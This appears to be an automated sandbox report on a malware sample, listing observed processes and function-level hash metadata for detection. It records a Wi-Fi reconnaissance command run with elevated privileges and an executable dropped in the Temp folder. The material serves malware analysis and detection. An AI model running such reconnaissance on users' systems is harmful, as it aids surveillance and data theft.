Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x8c0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	16
Start time:	23:37:49
Start date:	18/01/2023
Path:	C:\Users\user\AppData\Local\Temp\Rnts.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Rnts.exe"
Imagebase:	0x1380000
File size:	146944 bytes
MD5 hash:	D067619856F7F3079375960F62B99369
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Function 00007FF81639330A Relevance: 2.5, Strings: 2, Instructions: 19COMMON

Download Yara Rule

Strings

jt-t, xrefs: 00007FF816393315
f, xrefs: 00007FF816393338

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID: f$jt-t
API String ID: 0-722467841
Opcode ID: f01b96991a6e86b711c686cdd38a07a26bc5eda0d54782b78866296a2b7c556f
Instruction ID: 896b1617641bf56b919fe020f96fb5a28130c7f380cf1683e39604a57c409a32
Opcode Fuzzy Hash: f01b96991a6e86b711c686cdd38a07a26bc5eda0d54782b78866296a2b7c556f
Instruction Fuzzy Hash: 1EE0B6B1E08A19CBDBB5DB58D8847A9B7B5FB58760F1042E6D00CE3240CA35AF828F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81639A11D Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

jt-t, xrefs: 00007FF81639A1A4

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID: jt-t
API String ID: 0-1365632829
Opcode ID: 68641cd9d629b327f9089debc6246bbb3eeb9f011d49930923d7c65006ca2038
Instruction ID: 497addd878f8b181bdb42382bb64f0e29ad51fff5fe38fab44bc6c782d363923
Opcode Fuzzy Hash: 68641cd9d629b327f9089debc6246bbb3eeb9f011d49930923d7c65006ca2038
Instruction Fuzzy Hash: 6C810970D08A59CFEF50DBA4C8946EDBBF0FF59350F10027AD449E7292DA386945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399711 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

jt-t, xrefs: 00007FF8163997B9

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID: jt-t
API String ID: 0-1365632829
Opcode ID: 4fb75dc0b0c46677c9ffa88e2f7bac7d78330111d899ccad4992c64ac6d4d015
Instruction ID: d593cfbe54ad1035ffb79f0a2aff7764e124f871898b959e3e31d9f61b2ff57b
Opcode Fuzzy Hash: 4fb75dc0b0c46677c9ffa88e2f7bac7d78330111d899ccad4992c64ac6d4d015
Instruction Fuzzy Hash: D2414C71E18A5D8FEB94EFA8D8956ECBBF1FF58710F14017AD009E7282DE34A8418B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816398465 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

jt-t, xrefs: 00007FF8163984DE

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID: jt-t
API String ID: 0-1365632829
Opcode ID: e3fbd4f8a559d06dc6423ba5189c7816b53a4521879675e930c802cee79d7527
Instruction ID: 82dcc33869b5de6cf2f3997853b226ad541b21466f29cb4f3abca299fda6c67a
Opcode Fuzzy Hash: e3fbd4f8a559d06dc6423ba5189c7816b53a4521879675e930c802cee79d7527
Instruction Fuzzy Hash: AF218CB1E08A4ECFDB84DF58D8456FE7BB1FF98360F04463AD408E3281CA3499518B90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163815A2 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac4305187b11c1ec99ff2445d4f447e12b1d530de6883ea12975b1e48e2e81c0
Instruction ID: 3ad56dbac5e83a836995c6df5df46f4a2590d5ea8581f00b10848d1ea3110794
Opcode Fuzzy Hash: ac4305187b11c1ec99ff2445d4f447e12b1d530de6883ea12975b1e48e2e81c0
Instruction Fuzzy Hash: 7561F631E18A5D8FDB98EF58D894BE9B7F1FF59311F1402A9D04DE7291CA34A981CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391069 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9f9930fcfdfad40916e230116b2ca9549994636f96eecb4f166d99f429ec4c
Instruction ID: c856a727cba3cbf40e1b7f70118a36b25554c4b047659bb79d71608321b5d8b7
Opcode Fuzzy Hash: ca9f9930fcfdfad40916e230116b2ca9549994636f96eecb4f166d99f429ec4c
Instruction Fuzzy Hash: 20514871D08A5E8FEB54EBA8C8456FDB7B0EF59351F10027AD04DE7282CA396982CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391B41 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22afa7b65004e80468a0c4f72414cff7ad3008953e994eeb10b4a17c422a061d
Instruction ID: 8577b45e0e1a49e1ac7216736fc070eacf7a0efc0fd67a9d534a924c5c494706
Opcode Fuzzy Hash: 22afa7b65004e80468a0c4f72414cff7ad3008953e994eeb10b4a17c422a061d
Instruction Fuzzy Hash: 5151E4B4D08A1ACEEB54EF94D4547EDBBF2EB18362F10427AD049B7291DB786984CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163816AF Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9afe5d7b6935fc3b5fb983e928f54d4871ab42358598dd461775babe68072090
Instruction ID: f16c8a48c0e300b79ea29f9c84eb0df2f6ddb5add45c92f35439229f770778b7
Opcode Fuzzy Hash: 9afe5d7b6935fc3b5fb983e928f54d4871ab42358598dd461775babe68072090
Instruction Fuzzy Hash: 7D414930E1895E8FDB98EB18D8957A9B7E1FF59351F5002A9E04DD3292CF35A885CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399B99 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e26c5243278663f26af3ed0ed0baa030895fbd74adcc10a03d1c58ae29b8235
Instruction ID: 10671dcd1f5a7e45f6cb86119454b367a1606c48d17b3d40c49d1f0fb47b9028
Opcode Fuzzy Hash: 7e26c5243278663f26af3ed0ed0baa030895fbd74adcc10a03d1c58ae29b8235
Instruction Fuzzy Hash: FA41EAB0D18A4DCFEB94EBA8D8596ECBBB1FF58351F51027AD04DE7192DE3828418B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81639A228 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb99ea4bba44e5caf461ca1609cecee1673eb1522e2f1c2da8f636315f31c258
Instruction ID: b428be445519b59606f5ae2dfe5269003643a204a331a7170c9528fcfcbe027f
Opcode Fuzzy Hash: eb99ea4bba44e5caf461ca1609cecee1673eb1522e2f1c2da8f636315f31c258
Instruction Fuzzy Hash: 3C41E871D08A0DCFEF50EBA8C498AEDBBF0EF58350F100239D449E7292DA386985DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391156 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e06ff68170ff15a77b8ec9333d772dd92d15a08386a2c45aa2d6b9625e4f1523
Instruction ID: bc39b6967c0a87c5b3ae96726e693487b9de12341c2b6732eff3fccf0cc124a2
Opcode Fuzzy Hash: e06ff68170ff15a77b8ec9333d772dd92d15a08386a2c45aa2d6b9625e4f1523
Instruction Fuzzy Hash: CA31B270E5891D8FEB88EB98D4956FCB7B5FFA8351F501239D04EE7296CE256842CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163912A8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80942d21ba41dd9b5232b8b7cf5d12ccd8a786ce1af3158134b7f8c71fb9ec63
Instruction ID: 7233973e22dbb557d50a8f94b8e0dc11ede33ee0ae4ed50633fbab78be68653b
Opcode Fuzzy Hash: 80942d21ba41dd9b5232b8b7cf5d12ccd8a786ce1af3158134b7f8c71fb9ec63
Instruction Fuzzy Hash: 8531017194E69A8FDB12DBB08C512ED7BB4AF02321F0902BBD084EB5D2CA6C5906CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391F2D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 711dff7cdf4c3c6ca2dd48a74e88fabdf577ee7f6c2721fe06cb8cfaf57c4632
Instruction ID: 2579c7c22ff597591413e532e5df95154229488c50e1fe7c5b5a5cb9b99d9d50
Opcode Fuzzy Hash: 711dff7cdf4c3c6ca2dd48a74e88fabdf577ee7f6c2721fe06cb8cfaf57c4632
Instruction Fuzzy Hash: FE317C71908A1E8FEB44DF58D4546FEB7A1FF48351F14027AD04AE3281DB74A981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391100 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffc8252661a12188682fb82881e622f55bf6a56e857f6ac78b6666e902d0abf0
Instruction ID: f23ea094a6053c590e377d55b1fb0f774142cbbe72e2d17b155c44b6886d51f4
Opcode Fuzzy Hash: ffc8252661a12188682fb82881e622f55bf6a56e857f6ac78b6666e902d0abf0
Instruction Fuzzy Hash: 7431C270E5891D8FEB84EBA8D4956ECB7B5FFA8351F500239D04DE7296CE246842CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816381E18 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 827a3127355eb444934bc4ae2ef84148d4660dca4159ece95f9b33d2e38a84cc
Instruction ID: d6ec3fd33dd58623e0b3c1894c037b60a7c00039ca492670b00fec871283f0c3
Opcode Fuzzy Hash: 827a3127355eb444934bc4ae2ef84148d4660dca4159ece95f9b33d2e38a84cc
Instruction Fuzzy Hash: 6D218D3684D7CB4FD7539B6458252E47FB4AF03260F0906E7E4C98B093D66C699AC712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391CB7 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f055e3e6fb165bed71f0bf28c4a5641dc024f79a76f5befe253a3f4ee666794
Instruction ID: 541dba8ba3eec7ae36506d660907d19bd6857393829796302263d4d1113ea3c2
Opcode Fuzzy Hash: 5f055e3e6fb165bed71f0bf28c4a5641dc024f79a76f5befe253a3f4ee666794
Instruction Fuzzy Hash: 8B21E770D0881DCFEB94EBA8C895AADB7B1FF58392F504279D04DE3296DE3468818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81639A5A1 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9804ee4a7fd75b5d631b2f8d85f12a4caa3e835be4e5f2852e28e6edd8090a9
Instruction ID: 2986a7a1fb35b27a73c92526e7ca258d415045568e970ecf6a1d6700d7250c0b
Opcode Fuzzy Hash: d9804ee4a7fd75b5d631b2f8d85f12a4caa3e835be4e5f2852e28e6edd8090a9
Instruction Fuzzy Hash: 71010C75918A8D9FDF80EF28C889AE93FE0FF28341F4502A6E849C7261D734E954CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163998C1 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0fc4943dc73714f67a9c0f2f7616c21d833012fe9bd68da19da6a6e552fbe97
Instruction ID: f9037719c5d8e9de1edc7827fe9651c2dc40ea1254c8a6477d506dce0df442ca
Opcode Fuzzy Hash: a0fc4943dc73714f67a9c0f2f7616c21d833012fe9bd68da19da6a6e552fbe97
Instruction Fuzzy Hash: 40017C71818A8DCFDB54EF28C8496E93FE0FF19340F0402BAE448C6291D734A494CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816398161 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085040b511ea8d8bf03cc31530b3d7093a93365bbb911ee0c9bd8e645dbcdc5f
Instruction ID: bbe247a858c36bf568863586c28a2dc3211a9551b2ad35d03519473efc1fd33a
Opcode Fuzzy Hash: 085040b511ea8d8bf03cc31530b3d7093a93365bbb911ee0c9bd8e645dbcdc5f
Instruction Fuzzy Hash: 3F012C71948A8DCFEB84EF58C849AE93FA0FF69300F0505AAE418C7261D634D590CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816391AD9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816391000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816391000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd85bdd753b9dcd866fcc706da90e27311b8566bbfc6c6c2015d1fcd0c55cf0
Instruction ID: 0a137d97d0b93b374443a5c2899c638f77fc7c203cdc42c2f14d9078305893e9
Opcode Fuzzy Hash: 3dd85bdd753b9dcd866fcc706da90e27311b8566bbfc6c6c2015d1fcd0c55cf0
Instruction Fuzzy Hash: 26017C7090CA8D8FDB95EF28C848AA93FF1FF29301F0501AAE448CB262D674D854CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816381BA6 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c386aee58a55771ca77cd10de0bd650190897b77e2cba9d85971563df9f907d
Instruction ID: 8f3cd56e6680ad8e6ebd261ff91df33a13a411e05f3bc3983f9a49acf20412b8
Opcode Fuzzy Hash: 7c386aee58a55771ca77cd10de0bd650190897b77e2cba9d85971563df9f907d
Instruction Fuzzy Hash: B4012D30D0890A8BEB54EB54C881AEDB7B5FF547A6F40427AD44AD3292EF7869418B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816380B49 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d25ddc78627f1f84dd8a93088d8bf086752f5212435f15dc5e644c0d0d76f9
Instruction ID: 5e8f4a4049619db23bc448f042496ca0a26b58770ceea5fd00c24da0b034cbc3
Opcode Fuzzy Hash: 61d25ddc78627f1f84dd8a93088d8bf086752f5212435f15dc5e644c0d0d76f9
Instruction Fuzzy Hash: D501A731C5DBC98FE7669B6448582F8BFA4EF16354F4503F6D488D6193DB689894C301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816398625 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c17037ff7919ef5baf44497cd028c2c7ca81d54f829b012d767b80aaf458705
Instruction ID: deb126f91f87a29aac120c7b96ea0fa7ae743555b97a586b8bfa57e496ce5ff2
Opcode Fuzzy Hash: 7c17037ff7919ef5baf44497cd028c2c7ca81d54f829b012d767b80aaf458705
Instruction Fuzzy Hash: F9F0317181868DCFDB94EF2488496E93FA0FF55350F5105BAD508C7252DB349595CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816380C5D Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70eb30100b7e39a03d17b07d0db9a85ab28552f1c912b996eaaf9a11f63b64ff
Instruction ID: f088a03f61f3c74d7329a459bd9e497084133ed0f56b0f625a20712e546d1dd5
Opcode Fuzzy Hash: 70eb30100b7e39a03d17b07d0db9a85ab28552f1c912b996eaaf9a11f63b64ff
Instruction Fuzzy Hash: 0101AD31C18A4D8FE761AF6488592FDBFB4EF05350F4007BAE498CA193DB386480CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163992ED Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b9c511a3039d0e38945f0310d59e7473cead627f97770ca502e6cbbdb043afc
Instruction ID: 8a160efd132163fc8c5f0a4143ff1e9da3e42700adcf8e695baaffa737fdaf37
Opcode Fuzzy Hash: 4b9c511a3039d0e38945f0310d59e7473cead627f97770ca502e6cbbdb043afc
Instruction Fuzzy Hash: A3F0FF7184D6CE8FDB429F7488586E87FE0EF0A340F0800FAE48CC60D2C9785594C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399F71 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70b43d16f0fe5122b1d797c687b36e269e5d7c5e36849675584abdcd304fbb34
Instruction ID: 2f17a2019899b779aedad6aa33fe6e9aec054ec4f4391b6029d7583ad589a067
Opcode Fuzzy Hash: 70b43d16f0fe5122b1d797c687b36e269e5d7c5e36849675584abdcd304fbb34
Instruction Fuzzy Hash: 25F06D71818A8ECFEB95EF2484482E9BFE0FF55345F4441FAE45DCA292DA389194CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816398AA5 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 711523a1d7d1815016774cbf03c5fb4f9189a885e69db9c458663a8a6cced921
Instruction ID: 633195d41cc94eaa5fa72eb7e511fadadaa3952e62eed79f55c213a62f192dab
Opcode Fuzzy Hash: 711523a1d7d1815016774cbf03c5fb4f9189a885e69db9c458663a8a6cced921
Instruction Fuzzy Hash: DBF0AF7280DB8ACFDB959F2888452E93BA0FF59354F050ABAE44887192C778E854CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81639A671 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39109c7fb2b21a3184afd6929f887fa179ee1ba306330e17e6aac1218da27e0
Instruction ID: 6ecf1eeafb1d3a8ef52881890208bd728280b0d76952c3b34b87b0a00bc00fa7
Opcode Fuzzy Hash: f39109c7fb2b21a3184afd6929f887fa179ee1ba306330e17e6aac1218da27e0
Instruction Fuzzy Hash: ADF0BE7184C68ECFDB54DF1888852E93FA0FF55340F4503BAE85886182DA68E865CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816397E3D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30e3e25f1a92827a2e4ed291ac3abe5f6470d26e9c18512091b9d3546d211ef
Instruction ID: 01a3231e36c6f17824584f103e415987c2220a83f01bf42bdba974f037748fb0
Opcode Fuzzy Hash: e30e3e25f1a92827a2e4ed291ac3abe5f6470d26e9c18512091b9d3546d211ef
Instruction Fuzzy Hash: 03F0C27184968DCFCB459F1888012E93BA0FF59340F0102A2E889C7182DB38A964CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF81639A1C5 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cca18357754b8ed51cfe5125e2f52644efbb5adadd99b1d0fd0a30a3a7daab4
Instruction ID: acdfd91aabd482976c3dcffcaf4b4c7a243904bc474c130f846a9e1dd8a01f05
Opcode Fuzzy Hash: 7cca18357754b8ed51cfe5125e2f52644efbb5adadd99b1d0fd0a30a3a7daab4
Instruction Fuzzy Hash: 99F0903184D7C99FEB12AB748C596E97FB0EF0B350F0806F6E488C60A3D5685699CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816398A45 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b371ce9d9f7c2d0e055652da763781777a26c012873ef7e416cfde6aeb68b07a
Instruction ID: 7cde376790ef2fe66daba6b71db74eca81a79f91c8a67d9ddc0d595078cfb2ae
Opcode Fuzzy Hash: b371ce9d9f7c2d0e055652da763781777a26c012873ef7e416cfde6aeb68b07a
Instruction Fuzzy Hash: B2F04FB190DA8DCFDB50EF5888455ED3BB0FF58350F050ABAE44887292D734A954CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816399999 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816396000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816396000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816396000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed91bb52b6aa6ade1ae49b283ccfb11fe14ac5fbf35cc5f55c6c93972befd6a
Instruction ID: 0d4cdcb161ef29e9210166db4dc9046f1356acd5acfb745f15a8711c31b31694
Opcode Fuzzy Hash: 4ed91bb52b6aa6ade1ae49b283ccfb11fe14ac5fbf35cc5f55c6c93972befd6a
Instruction Fuzzy Hash: E8F0C27282C68E8FEB419F2488596E93FB0EF06350F0401F7E448C61D3DA349554CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF816380B60 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.610529392.00007FF816380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF816380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff816380000_3ZCSmfAvnf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39288ff63591f50eeefcb56bb16347ace731d670ae0d32c916dfb24e24be364f
Instruction ID: 651c19281a8f305072c544fc0f9a529976ed73039edb53db45506d2c7568d095
Opcode Fuzzy Hash: 39288ff63591f50eeefcb56bb16347ace731d670ae0d32c916dfb24e24be364f
Instruction Fuzzy Hash: 4DF0B431C68A4D8EE7619B6498483F8BFE4EF19358F400676E48DD2191DB7465D4C301

Uniqueness

Uniqueness Score: -1.00%
